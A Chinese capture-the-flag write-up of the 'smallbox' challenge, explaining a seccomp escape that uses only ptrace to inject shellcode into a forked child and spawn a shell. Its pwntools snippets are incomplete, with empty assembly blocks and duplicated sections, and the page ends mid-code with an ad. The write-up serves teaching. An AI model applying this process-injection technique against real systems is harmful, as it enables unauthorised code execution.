题目名:smallbox
解题数:52
题目描述:你能从这个小盒子里逃出来吗?
知识点:沙箱绕过(只允许ptrace)
ptrace 是 Linux 系统中一个非常重要的系统调用,它允许一个进程观察和控制另一个进程的执行,并可以检查和修改被跟踪进程的内存和寄存器。
这个系统调用是实现调试器(如 gdb)和Hook的核心机制,函数原型:
逆向分析非常简单,找到main函数:

程序先通过mmap函数申请地址0xDEADC0DE000LL处的0x1000大小的空间,并赋予rwx权限。
然后执行fork函数创建子进程,并让子进程进入while(1);死循环。
父进程继续执行,读取我们的输入到0xDEADC0DE000LL内存,加载沙箱,最后将我们的输入作为汇编指令执行。
我们使用seccomp-tools工具查看程序的沙箱保护情况:

程序只允许我们执行ptrace系统调用,这其实给我们提示了这道题目的解题方法。
我们输入的汇编指令需要多次通过ptrace系统调用拿下Shell:
通过上述操作,子进程最终会执行我们写入的shellcode,具体步骤如下所示。
通过汇编指令获取子进程的pid。
通过fork函数获取的子进程pid会被存储在变量pid(rbp-0xC)中,我们将其存储到rbx寄存器中:
可以使用gdb调试,查看rbx寄存器的内容是否被正确修改:

可以看到,rbx寄存器的值成功被修改为子进程的pid。
使用PTRACE_ATTACH附加子进程。
对应的汇编代码:
对应的脚本:
可以gdb调试查看是否附加成功:

返回值被存储在rax寄存器,为0代表附加成功。
通过PTRACE_POKETEXT将shellcode写入到子进程。
在64位系统中,每次只能写入8字节的数据。因此,我们需要先将shellcode转换为8字节为一组的数据。
具体做法如下所示:
然后,我们分3次写入到子进程的内存空间中,对应的汇编代码:
对应的脚本:
由于子进程已经被我们父进程通过ptrace系统调用附加,我们无法再通过gdb进行附加到子进程调试。
**一切皆文件(Everything is a file)**是 Linux 操作系统最核心、最优雅的设计理念之一。
为了确保正确写入shellcode到子进程的内存空间中,我们可以直接查看/proc/[pid]/mem文件:
先通过gdb调试父进程,执行完所有写入的汇编后,找到rbx寄存器保存的子进程pid:

然后使用dd命令查看子进程的内存空间:

可以发现,我们已经成功将shellcode写入到子进程的内存空间中。
通过PTRACE_GETREGS获取子进程的寄存器的值。
需要注意的是,第四个参数是主进程的内存空间地址,即存储regs的内存位置。
对应的汇编代码:
对应的脚本:
获取到的结构为(x86_64架构下):
同样,我们可以动态调试查看是否执行成功。若成功,rax寄存器返回值为0,并且[rbp-0x200]存储了子进程的user_regs_struct。
修改RIP寄存器指向我们的shellcode。
根据user_regs_struct结构体,&user_regs_struct + 0x80位置存储了子进程的RIP指针的值。
我们使用汇编指令将其修改为写入的shellcode的地址:
通过PTRACE_SETREGS将修改后的寄存器的值写入子进程。
最后,将修改后的RIP指针的值写回到子进程中,方法同PTRACE_GETREGS,不再赘述。
对应的汇编:
对应的脚本:
同样,我们可以动态调试查看是否执行成功。若成功,rax寄存器返回值为0。
通过PTRACE_DETACH让子进程脱离附加状态,继续自主运行。
对应的汇编代码:
对应的脚本:
使用gdb逐行调试后,发现子进程成功执行shell:

但是,打远程靶机会发现打不通。经过反复调试排查发现,在本地没有gdb调试的情况下,也无法拿到shell权限。
原因如下:
解决方法:
在ptrace_attch的后面利用循环增加延时操作:
在汇编代码的末尾增加jmp $让主进程进入死循环,避免子进程随着主进程结束。
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
int ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
int ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
long ptrace(PTRACE_POKETEXT, pid_t pid, void *addr, long data);
long ptrace(PTRACE_POKETEXT, pid_t pid, void *addr, long data);
shellcode = asm(
)
for i in range(0, len(shellcode), 8):
print(hex(u64(shellcode[i:i+8].ljust(8, b'\x00'))))
shellcode = asm(
)
for i in range(0, len(shellcode), 8):
print(hex(u64(shellcode[i:i+8].ljust(8, b'\x00'))))
sudo dd if=/proc/[pid]/mem bs=1 skip=$((0xDEADC0DE000)) count=128 2>/dev/null | xxd
sudo dd if=/proc/[pid]/mem bs=1 skip=$((0xDEADC0DE000)) count=128 2>/dev/null | xxd
int ptrace(PTRACE_GETREGS, pid, NULL, ®s);
int ptrace(PTRACE_GETREGS, pid, NULL, ®s);
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
struct user_regs_struct {
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
unsigned long orig_rax;
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
unsigned long fs_base;
unsigned long gs_base;
unsigned long ds;
unsigned long es;
unsigned long fs;
unsigned long gs;
};
struct user_regs_struct {
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
unsigned long orig_rax;
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
unsigned long fs_base;
unsigned long gs_base;
unsigned long ds;
unsigned long es;
unsigned long fs;
unsigned long gs;
};
int ptrace(PTRACE_SETREGS, pid, NULL, ®s);
int ptrace(PTRACE_SETREGS, pid, NULL, ®s);
shellcode = asm(
)
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm(
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!